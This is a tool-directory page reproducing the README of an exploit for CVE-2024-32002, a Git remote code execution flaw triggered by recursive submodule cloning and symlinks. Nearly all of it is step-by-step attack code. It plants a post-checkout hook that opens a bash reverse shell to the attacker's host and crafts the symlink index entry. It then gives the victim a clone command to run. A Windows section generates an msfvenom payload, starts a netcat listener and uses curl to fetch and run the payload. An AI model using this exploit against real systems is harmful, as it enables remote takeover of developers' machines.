Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-32002 — Exploit for CVE-2024-32002, a Git RCE vulnerability that uses recursive submodule cloning and symlinks to execute arbitrary commands on Windows and Linux targets. | Kitploit
Tools/GitHubGitHub/charlesgargasson/cve-2024-32002
Privilege EscalationExploitationLateral MovementWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubcharlesgargasson/cve-2024-32002

CVE-2024-32002

Exploit for CVE-2024-32002, a Git RCE vulnerability that uses recursive submodule cloning and symlinks to execute arbitrary commands on Windows and Linux targets.

View Repository
22 years agoNot yet reviewed

###################### GIT RCE CVE-2024-32002 ######################


Description


| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/

|


Exploit


| First you need to create "calledrepo" "commandrepo" repos on git. | Victim will later call the calledrepo with "git clone --recursive calledrepo.git" that redirect to commandrepo and execute the hook script. | This bash reverseshell payload works on WINDOWS and LINUX. | | I'm using git cli in docker because i don't want to get trouble with my system git config, but it's optionnal

.. code-block:: bash

Stat a debian docker instance

docker run --rm -it debian

Install git

apt update apt install -y git

| Configuring git

.. code-block:: bash

git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main

| Setting vars

.. code-block:: bash

GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"

| Populating repos

.. code-block:: bash

cd /tmp rm -rf calledrepo commandrepo

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..

Echo the command to run on victim

echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"

|


Windows


| After exploiting on windows you will get a git bash that have some issues/restrictions : |

.. code-block:: bash

$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found

| If you want to escape from this env, you can call a new reverseshell |

.. code-block:: bash

Attacker side

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113

.. code-block:: bash

Windows side

cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe

|

| Don't forget that git bash may have path priority over windows commands. | You can run the windows command using the full path. |

.. code-block:: bash

C:\windows\System32\whoami.exe /all

|

Download Tool